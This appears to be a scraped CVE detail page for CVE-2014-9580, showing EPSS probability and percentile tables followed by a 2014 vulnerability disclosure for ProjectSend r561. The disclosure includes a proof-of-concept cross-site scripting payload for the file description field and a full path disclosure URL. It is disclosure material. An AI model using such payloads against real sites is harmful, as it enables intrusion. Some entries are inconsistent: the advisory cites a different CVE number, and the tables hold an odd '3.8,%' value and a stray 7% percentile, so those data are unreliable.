CVE-2014-9580 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.14%	–	–
2022-02-13	–	–	1.14%	–	–
2022-04-03	–	–	1.14%	–	–
2022-04-24	–	–	1.14%	–	–
2022-07-17	–	–	1.14%	–	–
2022-11-13	–	–	1.14%	–	–
2022-11-20	–	–	1.14%	–	–
2022-12-04	–	–	1.14%	–	–
2023-03-12	–	–	–	0.26%	–
2023-06-11	–	–	–	0.26%	–
2023-10-15	–	–	–	0.26%	–
2024-02-11	–	–	–	0.26%	–
2024-06-02	–	–	–	0.26%	–
2024-09-08	–	–	–	0.26%	–
2024-09-22	–	–	–	0.26%	–
2024-11-17	–	–	–	0.26%	–
2024-12-08	–	–	–	0.26%	–
2024-12-22	–	–	–	0.32%	–
2025-01-12	–	–	–	0.23%	–
2025-01-19	–	–	–	0.23%	–
2025-03-18	–	–	–	–	0.86%
2025-03-30	–	–	–	–	5.53%
2025-04-11	–	–	–	–	3.8%
2025-05-01	–	–	–	–	3.8%
2025-05-04	–	–	–	–	3.8%
2025-05-04	–	–	–	–	3.8,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	34%
2022-02-13	35%
2022-04-03	56%
2022-04-24	57%
2022-07-17	58%
2022-11-13	59%
2022-11-20	58%
2022-12-04	59%
2023-03-12	62%
2023-06-11	63%
2023-10-15	64%
2024-02-11	65%
2024-06-02	66%
2024-09-08	67%
2024-09-22	66%
2024-11-17	67%
2024-12-08	66%
2024-12-22	7%
2025-01-12	61%
2025-01-19	61%
2025-03-18	74%
2025-03-30	89%
2025-04-11	87%
2025-05-01	88%
2025-05-04	87%
2025-05-04	87%

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # Exploit Title: ProjectSend r561 - Cross Site Scripting & Full Path Disclosure Vulnerability's # Date: 19/12/2014 # Url Vendor: http://www.projectsend.org/ # Vendor Name: ProjectSend # Version: r561 Ultimate Version # CVE: CVE-2014-1155 # Author: TaurusOmar # Tiwtte: @TaurusOmar_ # Email: taurusomar13@gmail.com # Home: overhat.blogspot.com # Tested On: Bugtraq Optimus # Risk: Medium Description ProjectSend is a client-oriented file uploading utility. Clients are created and assigned a username and a password. Files can then be uploaded under each account with the ability to add a title and description to each.When a client logs in from any browser anywhere, the client will see a page that contains your company logo, and a sortable list of every file uploaded under the client's name, with description, time, date, etc.. It also works as a history of "sent" files, provides a differences between revisions, the time that it took between each revision, and so on. ------------------------ + CROSS SITE SCRIPTING + ------------------------ # Exploiting Description - Get into code xss in the box of image description. <textarea placeholder="Optionally, enter here a description for the file." name="file[1][description]">DESCRIPTION&lt;/textarea&gt; #P0c "><img src=x onerror=;;alert('XSS') /> <textarea placeholder="Optionally, enter here a description for the file." name="file[1][description]">CODE XSS&lt;/textarea&gt; #Proof Concept http://i.imgur.com/FOPIvd4.jpg ------------------------ + FULL PATH DISCLOSURE + ------------------------ # Exploiting Description - The url disclosure directory of platform. #P0c http://site.com/projectsend/templates/pinboxes/template.php #Proof Concept http://i.imgur.com/xfN4kDV.jpg